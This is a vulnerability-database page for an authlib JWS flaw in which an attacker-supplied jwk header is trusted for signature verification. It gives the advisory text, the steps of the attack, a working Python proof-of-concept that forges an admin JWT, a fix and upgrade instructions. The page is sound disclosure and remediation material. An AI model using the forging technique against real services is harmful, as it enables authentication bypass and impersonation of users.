CVE-2026-27962 — Vulnerability in authlib — CVE Details
Authlib JWS JWK Header Injection: Signature Verification Bypass
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.60%). Schedule for your next planned update.
Does your project use an affected authlib version?
Paste your requirements.txt to check it for CVE-2026-27962 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Description
Summary
A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.
Details
Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
RFC 7515 violations:
- §4.1.3 explicitly states the
jwkheader parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor. - §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
context, not from the token itself. There is no step in the RFC that permits falling back to
the
jwkheader when no application key is provided.
Why this is a library issue, not just a developer mistake:
The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
Attack steps:
- Attacker generates an RSA or EC keypair.
- Attacker crafts a JWT payload with any desired claims (e.g.
{"role": "admin"}). - Attacker signs the JWT with their private key.
- Attacker embeds their public key in the JWT
jwkheader field. - Attacker uses an unknown
kidto cause the key resolver to returnNone. - The library uses
header["jwk"]for verification — signature passes. - Forged claims are returned as authentic.
PoC
Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).
Requirements:
pip install authlib cryptography
Exploit script:
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
Expected output:
{'sub': 'attacker', 'role': 'admin'}
Docker (self-contained reproduction):
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:
key=Noneis passed directly, or- a key resolver callable returns
Nonefor unknown/rotatedkidvalues (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
Recommended safe replacement — raise explicitly when no key is resolved:
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
Advisory Timeline
- First published March 16, 2026 (255 days ago).
- Last revised October 27, 2026 — 225 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "authlib>=1.6.9"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| authlib PyPI · Affected: 0.1, 0.10, 0.11, 0.12 (+52 more) | 1.6.9 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-347Improper Verification of Cryptographic SignatureMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-27962ADVISORY
- https://github.com/authlib/authlib/commit/a5d4b2d4c9e46bfa11c82f85fdc2bcc0b50ae681WEB
- https://access.redhat.com/errata/RHSA-2026:19375WEB
- https://access.redhat.com/errata/RHSA-2026:24853WEB
- https://access.redhat.com/errata/RHSA-2026:48085WEB
- https://access.redhat.com/errata/RHSA-2026:5665WEB
- https://access.redhat.com/errata/RHSA-2026:7314WEB
- https://access.redhat.com/security/cve/CVE-2026-27962WEB
- https://bugzilla.redhat.com/show_bug.cgi?id=2448164WEB
- https://github.com/authlib/authlibPACKAGE
- https://github.com/authlib/authlib/releases/tag/v1.6.9WEB
- https://github.com/pypa/advisory-database/tree/main/vulns/authlib/PYSEC-2026-287.yamlWEB
- https://pypi.org/project/authlibWEB
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27962.jsonWEB
Frequently Asked Questions
- What is CVE-2026-27962?
- Authlib JWS JWK Header Injection: Signature Verification Bypass. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-27962?
- CVE-2026-27962 affects authlib. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27962 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 42.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-28802CRITICAL
- CVE-2026-96760CRITICAL
Authlib: empty signatures validation in JWS JSON deserialization
- CVE-2026-28498HIGH
- CVE-2026-41425MEDIUM
- CVE-2026-44681MEDIUM
- CVE-2025-68158MEDIUM
Authlib has 1-click Account Takeover vulnerability
- CVE-2026-28490MEDIUM
- CVE-2026-41479MEDIUM